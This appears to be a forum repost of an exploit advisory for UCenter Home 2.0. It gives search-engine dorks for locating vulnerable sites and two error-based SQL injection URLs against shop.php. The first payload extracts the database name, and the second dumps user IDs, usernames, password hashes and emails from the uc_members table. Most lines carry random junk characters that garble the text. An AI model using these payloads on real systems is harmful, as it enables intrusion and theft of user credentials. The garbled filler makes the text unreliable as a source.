( ]6 O$ W( m! |4 k
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ - u8 l; d! Y! T( M+ S0 Q
' v: X5 c6 o( ?/ \& k
6 H: v3 `- n9 J! p- y$ X% i! x# K' c1 U2 {- E
*/ Author : KnocKout
* m: i" X1 I9 R: m0 ]% u; M9 Y
3 l1 d+ y# ?5 X, Z*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers " j6 B+ O3 P" I8 |
. |! L1 F& }, u" _ ^*/ Contact: knockoutr@msn.com
2 l- {* ~/ A' ?; h4 ]0 f X$ q8 Y7 G# v
*/ Cyber-Warrior.org/CWKnocKout ' }& d3 z$ F9 C8 r& h
4 U# b) _, Z, Y__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 5 V: U O" y$ s \/ M0 j: ~# c3 K2 t1 y* j
( E9 L `6 D7 A8 W' H# L) h8 `Script : UCenter Home 9 T# Q! r* \* F" a' T
' x- v- y4 p' D) N1 ]& `Version : 2.0
: n5 j" G: |! D
5 p7 `* w6 h6 W9 I# `; LScript HomePage : http://u.discuz.net/
$ t9 t# X9 m) N. W, K% b1 W) m
5 u& C2 t: M- t; v8 ~( e__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
2 Y( S9 \2 [1 P% I' F" `- E; L e# Z _; z2 p8 z
Dork : Powered by UCenter inurl:shop.php?ac=view
8 f/ e/ V+ I+ t, `1 E+ S1 H# v/ \, _
Dork 2 : inurl:shop.php?ac=view&shopid=
2 ^( \$ C% \# C U9 _+ \& R! j7 z( S. t. R9 S6 o: [
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 8 K/ g6 U! E3 v& S
! j0 l0 y6 m* k) r: e% _3 K
Vuln file : Shop.php ; T6 h3 A) g3 G+ W) I" [
, |( y1 H" F# Z3 d% O9 _
value's : (?)ac=view&shopid=
0 B4 {0 c# T) G& `: f3 o& p& `) ?7 i4 X' |6 O; z; n
Vulnerable Style : SQL Injection (MySQL Error Based)
! S) s% B$ g0 R6 D( j0 h/ }' O; L, ]4 z+ O: E
Need Metarials : Hex Conversion 1 ^: P: M# \( p7 j
/ F$ Z+ A, H7 ?( D2 B6 w
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 8 _+ j# H5 \( a1 U8 U6 p
' h& h8 O+ x" q8 n/ f; Q
Your Need victim Database name. U3 s: U0 j. U5 w9 f
9 \ k4 P$ ], y& h- F! L# e3 N
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 6 |: V0 x" |: ^8 a' V( ]% P
3 x* M1 n6 f# o( B0 F. W
..
3 G5 I) Q$ m3 _9 ]8 S7 N/ I0 [4 T6 ^$ W2 f( V: e- I/ S
DB : Okey.
% a) T0 B5 P% ^! B/ u- R1 F" G$ J ~- V
your edit DB `[TARGET DB NAME]`
' }* Z2 V! \: g% _7 k7 |( F! x- J# D1 {2 s, M
Example : 'hiwir1_ucenter'
+ m# Z+ W3 w5 w3 f, R) ~/ d# f$ r: {9 Q/ I+ n
Edit : Okey. 1 R7 g9 c6 Q8 j
, o4 g, K4 [$ A; f1 A2 b$ u
Your use Hex conversion. And edit Your SQL Injection Exploit..
2 k! ^ C: q8 w0 u
0 ]" W* Z a* o) n 0 W9 Z, `! B( R! g. m: L
+ U* f% L& c6 m9 q. X+ P6 ~
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 , C" A8 ?' j0 H/ G4 v* n8 N
|
发表于 2013-2-27 21:31:31
收藏
支持
反对